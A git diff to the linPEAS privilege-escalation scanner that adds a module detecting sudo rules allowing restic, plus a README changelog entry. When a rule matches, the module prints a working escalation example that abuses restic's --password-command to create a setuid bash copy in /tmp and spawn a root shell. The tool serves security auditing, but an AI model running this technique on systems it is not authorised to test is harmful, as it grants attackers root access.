diff --git a/linPEAS/README.md b/linPEAS/README.md index 620608d..27de3de 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -98,6 +98,10 @@ The goal of this script is to search for possible **Privilege Escalation Paths** This script doesn't have any dependency. +### Recent updates + +- **Dec 2025**: Added detection for sudo configurations that expose restic's `--password-command` helper, a common privilege escalation vector observed in real environments. + It uses **/bin/sh** syntax, so can run in anything supporting `sh` (and the binaries and parameters used). By default, **linpeas won't write anything to disk and won't try to login as any other user using `su`**. diff --git a/linPEAS/builder/linpeas_parts/6_users_information/19_Sudo_restic.sh b/linPEAS/builder/linpeas_parts/6_users_information/19_Sudo_restic.sh new file mode 100644 index 0000000..e141db0 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/6_users_information/19_Sudo_restic.sh @@ -0,0 +1,71 @@ +# Title: Users Information - Sudo restic password-command abuse +# ID: UG_Sudo_restic +# Author: HT Bot +# Last Update: 13-12-2025 +# Description: Detect sudo configurations that allow abusing restic --password-command for privilege escalation +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $PASSWORD +# Initial Functions: +# Generated Global Variables: $restic_bin, $restic_sudo_found, $sudo_no_pw_output, $sudo_with_pw_output, $matches, $sudo_file, $block, $origin +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Checking sudo restic --password-command exposure" +print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" + +restic_bin="$(command -v restic 2>/dev/null)" +if [ -n "$restic_bin" ]; then + echo "restic binary found at: $restic_bin" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" +else + echo "restic binary not found in PATH (still checking sudoers rules)" | sed -${E} "s,.*,${SED_YELLOW},g" +fi + +restic_sudo_found="" + +check_restic_entries() { + local block="$1" + local origin="$2" + + if [ -n "$block" ]; then + local matches + matches="$(printf '%s\n' "$block" | grep -i "restic" 2>/dev/null)" + if [ -n "$matches" ]; then + restic_sudo_found=1 + echo "$origin" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" + printf '%s\n' "$matches" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + fi +} + +sudo_no_pw_output="$(sudo -n -l 2>/dev/null)" +check_restic_entries "$sudo_no_pw_output" "Matches in 'sudo -n -l'" + +if [ -n "$PASSWORD" ]; then + sudo_with_pw_output="$(echo "$PASSWORD" | timeout 1 sudo -S -l 2>/dev/null)" + check_restic_entries "$sudo_with_pw_output" "Matches in 'sudo -l' using provided password" +fi + +if [ -r "/etc/sudoers" ]; then + check_restic_entries "$(grep -v '^#' /etc/sudoers 2>/dev/null)" "Matches in /etc/sudoers" +fi + +if [ -d "/etc/sudoers.d" ]; then + for sudo_file in /etc/sudoers.d/*; do + [ -f "$sudo_file" ] || continue + check_restic_entries "$(grep -v '^#' "$sudo_file" 2>/dev/null)" "Matches in $sudo_file" + done +fi + +if [ -n "$restic_sudo_found" ]; then + echo "" + echo "restic's --password-command runs as the sudo target user (root)." | sed -${E} "s,.*,${SED_RED},g" + echo "Example: sudo restic check --password-command 'cp /bin/bash /tmp/restic-root && chmod 6777 /tmp/restic-root'" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + echo "Then execute /tmp/restic-root -p for a root shell." | sed -${E} "s,.*,${SED_RED_YELLOW},g" +else + echo_not_found "sudo restic" +fi + +echo ""